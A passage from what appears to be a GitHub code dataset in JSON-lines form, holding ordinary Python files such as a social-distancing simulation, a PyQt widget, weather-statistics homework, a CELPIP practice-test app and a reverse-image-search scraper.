utf8 file '''\n # print(self.this, \"Rendering\", self.gauge, \"octetview-leaves\")\n tfn = self.this.add_html_interpretation(title)\n with open(tfn.filename, \"w\", encoding=\"utf-8\") as file:\n file.write(\"
    \\n\")\n            last = None\n            lasti = None\n            trunc = \"\"\n            rpt = 0\n            for i in self.pad_out():\n                if i.lo > self.max_render:\n                    trunc = \"[Truncated]\\n\"\n                    break\n                for j in i.render():\n                    if isinstance(j, artifact.Artifact):\n                        j = j.summary(types=False)\n                    else:\n                        j = html.escape(j)\n                    if j == last:\n                        rpt += 1\n                        lasti = i\n                        continue\n                    if rpt == 1:\n                        file.write(self.prefix(lasti.lo, lasti.hi) + \" \" + last + \"\\n\")\n                        rpt = 0\n                    elif rpt:\n                        file.write(self.prefix(lasti.lo, lasti.hi) + \" …[0x%x]\\n\" % rpt)\n                        rpt = 0\n                    last = j\n                    file.write(self.prefix(i.lo, i.hi) + \" \" + j + \"\\n\")\n            if rpt:\n                file.write(self.prefix(lasti.lo, lasti.hi) + \" …[0x%x]\\n\" % rpt)\n            file.write(trunc)\n            file.write(\"
    \\n\")\n","repo_name":"Datamuseum-DK/AutoArchaeologist","sub_path":"autoarchaeologist/generic/octetview.py","file_name":"octetview.py","file_ext":"py","file_size_in_byte":11020,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"48"} +{"seq_id":"3092134645","text":"from numba import njit\n\n'''\n Apply social distancing in each region based on region's policy - `social_distancing`.\n Arguments:\n people:\n (x, y, alive, region_id)\n regions:\n (region_id, xmin, xmax, ymin, ymax, social_distancing_factor)\n Returns:\n (x, y) : new positions\n'''\n@njit\ndef social_distancing(people, regions):\n\n # get values from arguments\n x, y, alive, region_id = people[:, 0], people[:, 1], people[:, 2], people[:, 3]\n r_region_id, r_xmin, r_xmax, r_ymin, r_ymax, r_social_dist = regions[:, 0], regions[:, 1], regions[:, 2], regions[:, 3], regions[:, 4], regions[:, 5]\n\n # repel force weight\n K = 10.0\n\n # loop through all regions and apply social distancing\n for r in range(regions.shape[0]):\n\n n_iter = int(r_social_dist[r] * 100) # number of iterations of social distancing force\n xm, xM, ym, yM = r_xmin[r], r_xmax[r], r_ymin[r], r_ymax[r] # region's bounding box\n\n # keep looping multiple times based on social distancing factor to maximize distance between 2 people\n for _ in range(n_iter):\n\n # calculate the force exerted on person i by localites\n for i in range(people.shape[0]):\n \n # person should be alive and belong to the region `r` under consideration\n if alive[i] == 0.0 or region_id[i] != r_region_id[r]:\n continue\n \n # change in (x, y)\n delta_x, delta_y = 0.0, 0.0\n \n # loop through all other people in same region\n for j in range(people.shape[0]):\n\n # person `j` should be alive, in same region as that of person `i` and must not be equal to `i`\n if region_id[i] != region_id[j] or alive[j] == 0.0 or i == j:\n continue\n\n # calculate distance between i and j\n dist_ij = (x[i] - x[j]) ** 2 + (y[i] - y[j]) ** 2\n\n # calculate direction of force (for super position)\n delta_x = delta_x + ( K * ( x[i] - x[j] ) ) / ( dist_ij**2 + 0.0000001 )\n delta_y = delta_y + ( K * ( y[i] - y[j] ) ) / ( dist_ij**2 + 0.0000001 )\n \n # get new position of persion i\n x[i] = x[i] + delta_x\n y[i] = y[i] + delta_y\n\n # clip values within the region's bounding box\n x[i] = xm if x[i] < xm else (xM if x[i] > xM else x[i])\n y[i] = ym if y[i] < ym else (yM if y[i] > yM else y[i])\n \n # return new positions\n return x, y","repo_name":"ankit1997/CovidSim","sub_path":"core/simulation/operation/social_distancing.py","file_name":"social_distancing.py","file_ext":"py","file_size_in_byte":2670,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"37472914283","text":"#%%\n\nimport pandas as pd\n\n#%%\n\nprint('Reading NGSIM dataset...')\nngsim = pd.read_csv('/home/alan/work/data/NGSIM.csv')\nnames = ngsim.Location.dropna().unique()\nfor name in names:\n print(f'Saving {name} dataset...')\n data = ngsim[ngsim.Location == name]\n data.to_csv(f'/home/alan/work/data/{name}.csv', index=False)\nprint('Finish')\n\n#%% fail\n\n#location = pd.read_csv('~/data/NGSIM.csv', usecols=['Location'], squeeze=True)\n#names = location.drop_duplicates().dropna().tolist()\n#for name in names:\n# print('Seperating dataset %s...' % name)\n# skip = location.index[location != name]\n# data = pd.read_csv('~/data/NGSIM.csv', skiprows=skip)\n# print('Saving...')\n# data.to_csv('~/data/%s.csv' % name)\n# print('Finish')\n# print()\n\n#%%\n\n#count = 0\n#for name in names:\n# tmp = location == name\n# count += tmp.sum()\n#print(count)\n#print(len(location))\n\n#%% index of nan\n\n#for i in location.index:\n# if location[i] not in names:\n# print(i)","repo_name":"Chauency/Predict","sub_path":"data-process/split_ngsim.py","file_name":"split_ngsim.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24147523301","text":"from PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom myLib.ImageProcess import ImageProcess\nclass FriendInfoWidget(QWidget):\n\tdef __init__(self,parent=None,data=None):\n\t\tsuper().__init__()\n\t\tself.data=data\n\t\tself.parent=parent\n\t\tself.initUI()\n\t\tself.update()\n\tdef initUI(self):\n\t\t#创建控件\n\t\tself.label_photo=QLabel()\n\t\tself.label_name=QLabel()\n\t\tself.label_certicication=QLabel()#官方认证标识\n\t\t#创建布局\n\t\tlayout_main=QHBoxLayout()\n\t\t#为控件设置属性\n\t\t# self.label_photo.setStyleSheet('border:1px solid red')\n\t\tself.label_name.setStyleSheet('font-size:12px;')\n\t\t# self.label_certicication.setStyleSheet('border:1px solid red')\n\n\t\tself.label_photo.setScaledContents(True)\n\t\tself.label_certicication.setScaledContents(True)\n\t\tself.parent.layoutAddWidget(layout_main,self.label_photo,size=(40,40),alignment=Qt.AlignCenter- Qt.AlignVCenter|Qt.AlignHCenter)\n\t\tself.parent.layoutAddWidget(layout_main,self.label_name,size=(85,20),alignment=Qt.AlignHCenter)\n\t\tself.parent.layoutAddWidget(layout_main,self.label_certicication,size=(35,15),alignment=Qt.AlignHCenter)\n\t\tself.setLayout(layout_main)\n\tdef update(self):\n\t\tImage=ImageProcess()\n\t\tImage.readBytes(self.data['photo'])\n\t\tImage.toCicle()\n\t\tself.label_photo.setPixmap(QPixmap.fromImage(Image.toQImage()))\n\t\tself.label_name.setText(self.data['name'])\n\t\tif self.data['certification']==1:\n\t\t\tself.label_certicication.setText('已认证')\n\t\t\tself.label_certicication.setStyleSheet('color:green;font-size:10px;font-weight:800')\n\t\telse:\n\t\t\tself.label_certicication.setText('未认证')\n\t\t\tself.label_certicication.setStyleSheet('color:red;font-size:10px;font-weight:800')\n","repo_name":"Minicking/cloudbird","sub_path":"Client/QTWidget/FriendInfoWidget.py","file_name":"FriendInfoWidget.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29207695605","text":"#Isaac Fernandez Hernandez\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n# Load data time series\r\ndef load_tseries(n):\r\n dinp = []\r\n param = load_cnf_prep()\r\n print(\"Cargando la data de las clases y generacion de caracteristicas\")\r\n param[2] = 4\r\n for i in range(1,n+1):\r\n st = np.genfromtxt('Data/Clase%d.csv'%i,delimiter=',')\r\n dinp.append(get_features(st,param[0],np.shape(st)[0],param[1],param[2]))\r\n print(\"Creando labels binarias\")\r\n dinp, dout = binary_label(dinp)\r\n return dinp, dout\r\n\r\n# Create Features\r\n# data: Series de tiempo de la clase c\r\n# ns: Numero de series a utilizar por clase/data\r\n\r\ndef get_features(data,lss,ns,fs,l):\r\n m = ns if ns < len(data) else len(data)\r\n for i in range(0,m):\r\n features = hankel_features(data[i,:],lss,fs,l) if i == 0 else np.vstack((features,hankel_features(data[i,:],lss,fs,l)))\r\n return features\r\n\r\n# Hankel's features\r\ndef hankel_features(serie,lss,fs,l):\r\n l_serie = np.shape(serie)[0]\r\n nss = int(l_serie/lss)\r\n sub_series = np.reshape(serie,(nss,lss))\r\n for i in range(0,np.shape(sub_series)[0]):\r\n c,ce = cfourier(sub_series[i],fs,l)\r\n u, c_sv, v = np.linalg.svd(c,False)\r\n ce = np.hstack((ce,c_sv)).ravel()\r\n ce = np.hstack((ce,spectral_entropy(sub_series[i]))).ravel()\r\n f = ce if i == 0 else np.vstack((f,ce))\r\n return f\r\n\r\ndef cfourier(serie,fs,l):\r\n n = len(serie)\r\n idx = np.round((np.arange(1,l+1) * (fs/(l*2))) * n/fs)\r\n j = 0\r\n for i in idx:\r\n serie,c,ce = fpbi(serie,n,i)\r\n if j == 0:\r\n cp = c\r\n cet = ce\r\n j = 1\r\n else:\r\n cp = np.vstack((cp,c))\r\n cet = np.hstack((cet,ce))\r\n return cp,cet\r\n\r\ndef fpbi(serie,n,idx):\r\n F = np.fft.fft(serie)\r\n F[int(idx+1):int(n/2)]=0\r\n F[int(n/2+1):int(n-idx)]=0\r\n c = np.fft.ifft(F).real\r\n x = serie - c\r\n return x,c,spectral_entropy(c)\r\n\r\ndef hanma (serie,k,m):\r\n h = np.zeros((k,m))\r\n for i in range(0,m):\r\n h[:,i] = serie[i:k+i]\r\n return h\r\n\r\n# spectral entropy\r\ndef spectral_entropy(x):\r\n n = len(x) \r\n fhat = np.fft.fft(x)\r\n fhat = fhat[0:int(n/2)]\r\n\r\n A = (np.sqrt(fhat * np.conj(fhat)).real)**2\r\n \r\n p = A/sum(A)\r\n p=p[p>0]\r\n return -1/np.log2(n)*sum(p*np.log2(p))\r\n\r\n# Binary Label\r\ndef binary_label(dinp):\r\n n_class = np.shape(dinp)[0]\r\n n_features = np.shape(dinp)[2]\r\n for i in range(0,n_class):\r\n n_class_data = np.shape(dinp[i])[0]\r\n A = np.zeros((n_class_data,n_class),int)\r\n A[:,i] = 1\r\n A = np.hstack((dinp[i],A))\r\n B = A if i == 0 else np.vstack((B,A))\r\n np.random.shuffle(B)\r\n dinp,dout = np.hsplit(B,[n_features])\r\n return dinp, dout\r\n\r\n# Data norm \r\ndef data_norm(data): \r\n a = 0.01 \r\n b = 0.99 \r\n data_norm = ((data-data.min(axis=0))/(data.max(axis=0)-data.min(axis=0)))*(b-a)+a\r\n return data_norm\r\n\r\n# Save Data based on Hankel's features\r\ndef save_data(Dinp,Dout):\r\n print(\"Nuevas caracteristicas generadas en el archivo dinp.csv\")\r\n np.savetxt(\"dinp.csv\", Dinp, delimiter=\",\", fmt=\"%.6f\")\r\n print(\"Label binarias generadas en el archivo dout.csv\")\r\n np.savetxt(\"dout.csv\", Dout, delimiter=\",\", fmt=\"%i\")\r\n return\r\n\r\ndef load_cnf_prep():\r\n par_sof=[]\r\n par = np.genfromtxt('cnf_prep.csv',delimiter=',')\r\n par_sof.append(np.int16(par[0])) # Largo de las sub-series de tiempo\r\n par_sof.append(np.int16(par[1])) # Frecuencia de Muestreo\r\n par_sof.append(np.int16(par[2])) # Sub-banda Fourier.\r\n return par_sof\r\n\r\ndef main():\r\n\tprint(\"Iniciando el pre-procesamiento\")\r\n\t#n = int(input(\"Ingrese el numero de clases:\\n\"))\r\n\tn = 8\r\n\tDinp,Dout = load_tseries(n)\t\r\n\tDinp = data_norm(Dinp)\r\n\tsave_data(Dinp,Dout)\r\n\tprint(\"Pre-procesamiento terminado\")\r\n\treturn pd.DataFrame(Dinp),pd.DataFrame(Dout)\r\n\r\nif __name__ == '__main__': \r\n\t main()\r\n\r\n\r\n","repo_name":"IsaacFernandezH/Series-de-tiempo-Hankel","sub_path":"prep.py","file_name":"prep.py","file_ext":"py","file_size_in_byte":3715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2398948625","text":"# _*_ encoding:utf-8 _*_\n__author__ = 'xyx'\n__date__ = '2017-7-13 21:56'\n\nfrom django import forms\n\nfrom operation.models import UserAsk\n\nclass UserAskForm(forms.ModelForm):\n class Meta:\n model = UserAsk\n fields = ['name', 'mobile', 'course_name']","repo_name":"124608760/muxueonline","sub_path":"apps/organization/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"9860879421","text":"from math import *\r\nfrom re import L # імпортуємо всі функції з модуля math\r\n\r\n# Зайві коментарі видаліть перед захистом проекту!!!!!\r\n\r\n# Отримуємо а, b, h від користувача\r\na = float(input(\"Введите а: \")) \r\nb = float(input(\"Введите b: \")) \r\nh = float(input(\"Введите h: \"))\r\n\r\nx = a # Присвоюємо х значення нижньої границі нашого діапазону\r\nlist_of_values = [] # Створюємо список в який будемо складувати значення х та у\r\nmax_values = [0, -10000] # Створюємо список для збереження максимального значення х та y беремо -10000 щоб будь яке значення у було більшим за наше\r\n\r\n# Создаємо цикл з лічильником\r\nwhile x <= b:\r\n\r\n # Визначаємо у для значення х та округлюємо одразу до 4 знаків після коми\r\n y = round((1 / (x * x + 1)) + x * x, 4) # x*x те саме, що й х в другій степені \r\n x = round(x, 4) # округлюємо х, щоб мати більш гарний вигляд\r\n\r\n list_of_values.append([x, y]) # Записуємо в список list_of_values список, що має всередині значення x та y\r\n \r\n # Створюємо умову коли значення у більше за наше збережене тоді змінюємо значення максимального х та у в змінній\r\n if y > max_values[1]:\r\n max_values[1] = y\r\n max_values[0] = x\r\n\r\n # додаємо до поточного значення х шаг h\r\n x = x + h # можна написати x += h\r\n\r\nprint(list_of_values) # Виводимо список значень\r\nprint(\"Найбільше значення у - \" + str(max_values)) # Виводимо найбільше значення у","repo_name":"ise999joy/WKN","sub_path":"6(3).py","file_name":"6(3).py","file_ext":"py","file_size_in_byte":2083,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34680153595","text":"import tkinter.ttk\n\nimport sounddevice as sd\nimport soundfile as sf\nfrom tkinter import *\nimport json\nimport random\nimport time\nfrom datetime import datetime\nimport os\nfrom tkinter import PhotoImage\nimport speech_recognition as sr\nimport pyttsx3\n\n\ndef getJson():\n with open(\"questions.json\") as fp:\n qus = json.load(fp)\n return qus\n\n\ndef prepCounter(preptime):\n preptime -= 1\n while preptime > -1:\n sec1.set(preptime)\n preptime -= 1\n master.update()\n time.sleep(1)\n\n\ndef durationCounter(duration):\n duration -= 1\n temp = 0\n while duration > -1:\n sec2.set(duration)\n duration -= 1\n temp += 1\n master.update()\n total = duration + temp + 1\n print(\"%\", ((total - duration) / total) * 100, \"total\", total, \"duration\", duration)\n progBarUpdate(((total - duration) / total) * 100)\n time.sleep(1)\n\n\ndef durationCounterW(duration):\n temp = 0\n duration = duration * 60\n while duration > -0.5:\n sec2.set(int(duration / 60))\n duration -= 0.5\n temp += 0.5\n master.update()\n total = duration + temp\n print(\"%\", ((total - duration) / total) * 100, \"total\", total, \"mins\", duration / 60)\n progBarUpdate(((total - duration) / total) * 100)\n WW.set('Word-count: %s' % len(TT.get('1.0', END).split(' ')))\n time.sleep(0.5)\n\n\ndef Voice_rec(duration, name):\n engine = pyttsx3.init()\n text = \"Please start speaking now\"\n engine.say(text)\n engine.runAndWait()\n\n fs = 48000\n r = sr.Recognizer()\n # seconds\n myrecording = sd.rec(int(duration * fs), samplerate=fs, channels=2)\n durationCounter(duration)\n progBarStop()\n # sd.wait() removed as putting wait time\n Q.set(\"Please wait writing your audio file and audio to text file\")\n master.update()\n # Save as FLAC file at correct sampling rate\n sf.write(name, myrecording, fs)\n try:\n with sr.AudioFile(os.path.join(os.getcwd(), name)) as audio:\n data = r.record(audio)\n text = r.recognize_google(data)\n filename = name.replace('flac', 'txt')\n with open(filename, 'w') as file:\n file.write(text)\n except:\n Q.set('Error in writing audio to text file')\n master.update()\n time.sleep(2)\n\n\ndef setImage(path):\n image = PhotoImage(file=path)\n can.create_image(5, 400, anchor=SW, image=image)\n can.image = image\n\n\ndef showRadiobutton():\n rad1.place(x=150, y=200)\n rad2.place(x=500, y=200)\n\n\ndef destroyRadiobutton():\n rad1.destroy()\n rad2.destroy()\n\n\ndef progBarUpdate(percVar):\n myProgBar['value'] = percVar\n master.update()\n\n\ndef progBarStop():\n myProgBar.stop()\n\n\ndef finish():\n master.destroy()\n\n\ndef designForSpeakingTask():\n master.title(\"Speaking-Task\")\n master.geometry(\"900x600\")\n ST.destroy()\n can.place(x=5, y=550)\n var.set(1)\n\n PT.place(x=650, y=30)\n PTE.place(x=850, y=30)\n sec1.set('00')\n\n RT.place(x=650, y=60)\n RTE.place(x=850, y=60)\n sec2.set('00')\n\n myProgBar.place(x=100, y=5)\n\n ff.set(\"Close Test\")\n FT.place(x=700, y=550)\n\n timer.set(\"Record-time remaining: \")\n\n master.update()\n\n for ind in range(startfrom, 9):\n data = jData['SpeakingTask'][str(ind)]\n noOfQ = (len(data) - 3) if ind != 5 else (len(data) - 3) / 2\n\n T.set(\"Task:-%s : %s\" % (ind, data['0']))\n master.update()\n\n randV = random.randrange(1, noOfQ + 1)\n duration = data['duration']\n preptime = data['preptime']\n\n qus = data[str(randV)]\n Q.set(\"Qus:- %s\" % qus)\n master.update()\n\n if ind in (3, 4, 5, 8):\n currPath = os.path.join(os.getcwd(), \"images/Task%s/%s.png\" % (ind, randV))\n if ind == 5:\n setImage(currPath)\n showRadiobutton()\n prepCounter(60)\n currPath = os.path.join(os.getcwd(), \"images/Task%s/%s_%s.png\" % (ind, randV, var.get()))\n destroyRadiobutton()\n qus = data[\"%s_2\" % randV]\n Q.set(\"Q:- %s\" % qus)\n setImage(currPath)\n\n prepCounter(preptime)\n name = \"%s/S/%s_%s.flac\" % (testtime, ind, testhourmin)\n Voice_rec(duration, name)\n setImage(path)\n Q.set(\"Qus:- \")\n\n\ndef designForWritingTask():\n master.title(\"Writing-Task\")\n master.geometry(\"900x900\")\n master.resizable(False, False)\n ST.destroy()\n can.place(x=5, y=850)\n\n PT.place(x=650, y=30)\n PTE.place(x=850, y=30)\n sec1.set('00')\n\n RT.place(x=650, y=60)\n RTE.place(x=850, y=60)\n sec2.set('00')\n\n myProgBar.place(x=100, y=5)\n\n ff.set(\"Close Test\")\n FT.place(x=700, y=860)\n\n timer.set(\"Writing-time remaining: \")\n\n WC.place(x=500, y=860)\n\n TT.place(x=60, y=220)\n\n master.update()\n\n for ind in range(1, 3):\n data = jData['WritingTask'][str(ind)]\n noOfQ = len(data) - 3\n\n T.set(\"Task:-%s : %s\" % (ind, data['0']))\n master.update()\n\n randV = random.randrange(1, noOfQ + 1)\n\n duration = data['duration']\n\n qus = data[str(randV)]\n Q.set(\"Qus:- %s\" % qus)\n master.update()\n\n durationCounterW(duration)\n text = TT.get('1.0', END)\n name = \"%s/W/%s_%s.txt\" % (testtime, ind, testhourmin)\n writeTexttoFile(name, text)\n TT.delete('1.0', END)\n master.update()\n TT.destroy()\n WC.destroy()\n\n\ndef writeTexttoFile(name, text):\n with open(name, 'w') as fp:\n fp.write(text)\n\n\ndef createFolders():\n try:\n print(os.path.join(wd, f'{testtime}'))\n os.makedirs(os.path.join(wd, f'{testtime}\\W'), exist_ok=True)\n os.makedirs(os.path.join(wd, f'{testtime}\\S'), exist_ok=True)\n os.makedirs(os.path.join(wd, f'{testtime}\\R'), exist_ok=True)\n os.makedirs(os.path.join(wd, f'{testtime}\\L'), exist_ok=True)\n except:\n print('error')\n pass\n\n\ndef on_click():\n createFolders()\n options = [var1.get(), var2.get(), var3.get(), var4.get()]\n print(options)\n c1.destroy()\n c2.destroy()\n c3.destroy()\n c4.destroy()\n\n for title in jData.keys():\n if title in options:\n eval('designFor%s()' % title)\n\n\nif __name__ == \"__main__\":\n master = Tk()\n master.title(\"CELPIP Test\")\n master.geometry(\"300x300\")\n master.resizable(False, False)\n jData = getJson()\n sec1 = StringVar()\n sec2 = StringVar()\n\n Q = StringVar()\n WW = StringVar()\n T = StringVar()\n ss = StringVar()\n ff = StringVar()\n var = IntVar()\n timer = StringVar()\n\n var1 = StringVar()\n var2 = StringVar()\n var3 = StringVar()\n var4 = StringVar()\n\n imagePath = StringVar()\n\n testtime = datetime.now().strftime(\"%d_%m\")\n testhourmin = datetime.now().strftime('%H_%M')\n\n startfrom = 0\n\n TT = Text(master, height=35, width=85, font='Helvetica14')\n\n PT = Label(master, text=\"Prep-time remaining: \", font='Helvetica14', justify=LEFT)\n PTE = Entry(master, textvariable=sec1, width=2, font='Helvetica14')\n\n RT = Label(master, textvariable=timer, font='Helvetica14')\n RTE = Entry(master, textvariable=sec2, width=2, font='Helvetica14')\n\n Label(master, textvariable=Q, font='Helvetica14', justify=LEFT).place(x=50, y=90)\n Label(master, textvariable=T, font='Helvetica14', justify=LEFT).place(x=50, y=30)\n WC = Label(master, textvariable=WW, font='Helvetica14', justify=LEFT)\n WW.set('Word-count: 0')\n\n ST = Button(master, textvariable=ss, command=on_click, width=20)\n ss.set(\"Start Test\")\n FT = Button(master, textvariable=ff, command=finish, width=20)\n ff.set(\"Exit Test\")\n ST.place(x=80, y=150)\n FT.place(x=80, y=200)\n\n can = Canvas(master, width=300, height=50)\n can.place(x=1, y=240)\n wd = os.getcwd()\n path = os.path.join(wd, \"images/developerBy.png\")\n image = PhotoImage(file=path)\n can.create_image(1, 50, anchor=SW, image=image)\n\n myProgBar = tkinter.ttk.Progressbar(master, orient=HORIZONTAL, length=700, mode='determinate')\n\n rad1 = Radiobutton(master, text=\"Option 1\", variable=var, value=1)\n rad2 = Radiobutton(master, text=\"Option 2\", variable=var, value=2)\n\n c1 = Checkbutton(master, text='WritingTask', variable=var1, onvalue='WritingTask', offvalue='')\n c1.place(x=80, y=10)\n c2 = Checkbutton(master, text='SpeakingTask', variable=var2, onvalue='SpeakingTask', offvalue='')\n c2.place(x=80, y=40)\n c3 = Checkbutton(master, text='ReadingTask', variable=var3, onvalue='ReadingTask', offvalue='')\n c3.place(x=80, y=70)\n c4 = Checkbutton(master, text='ListeningTask', variable=var4, onvalue='ListeningTask', offvalue='')\n c4.place(x=80, y=100)\n\n mainloop()\n","repo_name":"vivek-gour/Python-Design-Patterns","sub_path":"CELPIP/speaking.py","file_name":"speaking.py","file_ext":"py","file_size_in_byte":8728,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"6543797321","text":"n = int(input())\r\nn_list = []\r\nfor _ in range(n):\r\n\tn_list.append(list(map(int, input().split())))\r\nn_list.sort()\r\nn_list.sort(key=lambda x: x[1])\r\nend_t = 0\r\ncnt = 0\r\nfor i, j in n_list:\r\n\tif i >= end_t:\r\n\t\tend_t = j\r\n\t\tcnt += 1\r\n \r\nprint(cnt)","repo_name":"wooneojun/1day1solution","sub_path":"백준/Silver/1931. 회의실 배정/회의실 배정.py","file_name":"회의실 배정.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19134492955","text":"import re\nimport urllib.request\nfrom http.cookiejar import CookieJar\nimport imageSearchResult as isr\n\nclass google_image_search:\n \n def __init__(self, imageURL = None):\n self.cj = CookieJar()\n self.opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(self.cj))\n self.opener.addheaders = [('User-agent', 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.27 Safari/537.17')]\n self.imageURL = imageURL\n self.googlePath = 'https://www.google.com/searchbyimage?&image_url='+self.imageURL\n self.sourceCode = None\n self.numOfReusePic = 0\n self.numOfpageResults = 0\n\n def ReverseImageLookup(self):\n try:\n self.sourceCode = self.opener.open(self.googlePath).read()\n except urllib.error.HTTPError as e:\n print(\"exeption occur\")\n print(\"msg: \"+e.msg)\n print(\"reason: \"+e.reason)\n print(\"errno: \"+e.errno)\n print(\"getcode: \"+e.getcode)\n print(\"info: \"+e.info)\n print(\"strerror: \"+e.strerror)\n findLinks = re.findall(r' 함수 따로 만들지 않아도 됨. 메인에서 값 확인만 .\n# 2) 강우 일수는 ? count_rain_days ount_rain_days ount_rain_days ount_rain_days (rainfall) (rainfall) (rainfall) (rainfall)\ndef count_rain_days(rainfall):\n total_rain_days = 0\n for i in rainfall:\n if i != 0:\n total_rain_days += 1\n\n return total_rain_days\n\n\n# 3) 여름철 (6 월-8월) 총 강수량은 ? sumifs umifs(rainfall, months, selected=[6,7,8])\ndef sumifs(rainfall, months, selected=[6,7,8]):\n days = len(months)\n total_rainfall = 0\n for i in range(days):\n if months[i] in selected:\n total_rainfall += rainfall[i]\n return total_rainfall\n\n\n\n\n\n# 4) 최장연속강우일수는 ? longest_rain_days longest_rain_days longest_rain_days longest_rain_days longest_rain_days (rainfall)(rainfall)(rainfall)(rainfall) (rainfall) (rainfall)\ndef longest_rain_days(rainfall):\n rainy_days = []\n rain = 0\n for i in rainfall:\n if i != 0:\n rain += 1\n else:\n rainy_days.append(rain)\n rain = 0\n if rain != 0:\n rainy_days.append(rain)\n return max(rainy_days)\n\n\n# 5) 강우이벤트 중 최대 강수량은 ? 비가 연속으로 올 때, 하나의 강우 이벤트로 가정\ndef maximum_rainfall_event(rainfall):\n rain_event = 0\n rain_event_2 = []\n for i in rainfall:\n if i > 0:\n rain_event += i\n else:\n rain_event_2.append(rain_event)\n rain_event = 0\n return max(rain_event_2)\n\n\n\n# 6) 일교차가 가장 큰날짜와 일교차?\ndef maximum_temp_gap(dates, tmax, tmin):\n gap = 0\n day = []\n for i in range(len(dates)):\n temp_gap = tmax[i] - tmin[i]\n if temp_gap > gap:\n gap = temp_gap\n day = dates[i]\n\n return day, gap\n\n\n\n\n\n# 7) 적산온도는?\ndef gdd(dates, tavg):\n temp = 0\n month = [5, 6, 7, 8, 9]\n for i in range(len(dates)):\n if dates[i][1] in month:\n if tavg[i] >= 5:\n temp += tavg[i]-5\n return temp\n\n\n\n\n\ndef main():\n f = open(\"../week6/weather(146)_2021-2021.csv\")\n lines = f.readlines()\n rainfall = [float(x.split(\",\")[9]) for x in lines[1:]]\n tavg = [float(x.split(\",\")[4]) for x in lines[1:]]\n tmax = [float(x.split(\",\")[3]) for x in lines[1:]]\n tmin = [float(x.split(\",\")[5]) for x in lines[1:]]\n months = [int(x.split(\",\")[1]) for x in lines[1:]]\n dates = [[int(x.split(\",\")[0]), int(x.split(\",\")[1]), int(x.split(\",\")[2])] for x in lines[1:]]\n # # 1) 총 강수량\n print(\"총 강수량: {:.1f} mm\".format(sum(rainfall)))\n # 2) 총 강우일수\n print(\"총 강우일수: {:d} 일\".format(count_rain_days(rainfall)))\n # 3) 여름철 (6 월-8월) 총 강수량은 ?\n print(\"여름철 (6 월-8월) 총 강수량은 {:.1f} mm\".format(sumifs(rainfall, months, [6,7,8])))\n # 4) 최장연속강우일수는 ?\n print(\"최장연속강우일수: {:d}일\".format(longest_rain_days(rainfall)))\n # 5) 강우이벤트 중 최대 강수량은 ?\n print(\"강우이벤트 중 최대 강수량: {:.1f}\".format(maximum_rainfall_event(rainfall)))\n # 6) 일교차가 가장 큰날짜와 일교차?\n print(\"일교차가 가장 큰���짜: {}, 일교차: {:.1f}도\".format(*maximum_temp_gap(dates, tmax, tmin)))\n # 7) 적산온도는?\n print(\"적산온도는 {:.1f} degree-days\".format(gdd(dates, tavg)))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"danuni29/Code","sub_path":"week7/hw09_main.py","file_name":"hw09_main.py","file_ext":"py","file_size_in_byte":3557,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"37804152822","text":"#H4 tehtävä 3: Peltojen tiedot tiedostosta\npinta={}\npinnat=[]\nkasvit={}\nkasvikset=[]\nkylvöpäivät={}\npäivät=[]\npellot=[]\nrivit=[]\nwith open(\"tiedosto.txt\") as file:\n \n for rivi in file:\n osat=rivi.split(\"\\t\")\n if osat[0]==\"Pinta-ala\":\n continue\n pinta[\"Pinta-ala\"]=pinnat\n pinnat.append(osat[0])\n if osat[1]==\"Kasvi\":\n continue\n\n kasvit[\"Kasvit\"]=kasvikset\n kasvikset.append(osat[1].lstrip())\n if osat[2]==\"Pvm\":\n continue\n\n kylvöpäivät[\"Kylvöpäivä\"]=päivät\n päivät.append(osat[2].strip())\n \n pellot.append(pinta)\n pellot.append(kasvit)\n pellot.append(kylvöpäivät)\n for item in pellot:\n for avain,arvo in item.items():\n item[avain]=[arvo]\n for i in arvo:\n rivi=avain+\":\"+i\n rivit.append(rivi)\n L1=len(pinnat)+len(kasvikset) \n for i in range(len(pinnat)):\n row=rivit[i]+\" -- \"+ rivit[len(pinnat)+i]+\" -- \"+ rivit[L1+i]\n print(row)\n print() \n print(f\"Yhteensä {len(pinnat)} peltoa.\") \n","repo_name":"allienka/python-water-tank","sub_path":"H4-watertank.py","file_name":"H4-watertank.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29334375839","text":"#!/usr/bin/env python3\n\"\"\"\nRead file into texts and calls.\nIt's ok if you don't understand how to read files.\n\"\"\"\nimport csv\n\nwith open('texts.csv', 'r') as f:\n reader = csv.reader(f)\n texts = list(reader)\n\nwith open('calls.csv', 'r') as f:\n reader = csv.reader(f)\n calls = list(reader)\n\n\"\"\"\nTASK 4:\nThe telephone company want to identify numbers that might be doing\ntelephone marketing. Create a set of possible telemarketers:\nthese are numbers that make outgoing calls but never send texts,\nreceive texts or receive incoming calls.\n\nPrint a message:\n\"These numbers could be telemarketers: \"\n\nThe list of numbers should be print out one per line in lexicographic order with no duplicates.\n\"\"\"\nincoming_text = []\noutgoing_text = []\nincoming_call = []\nfor text in texts:\n if text[0] not in incoming_text:\n 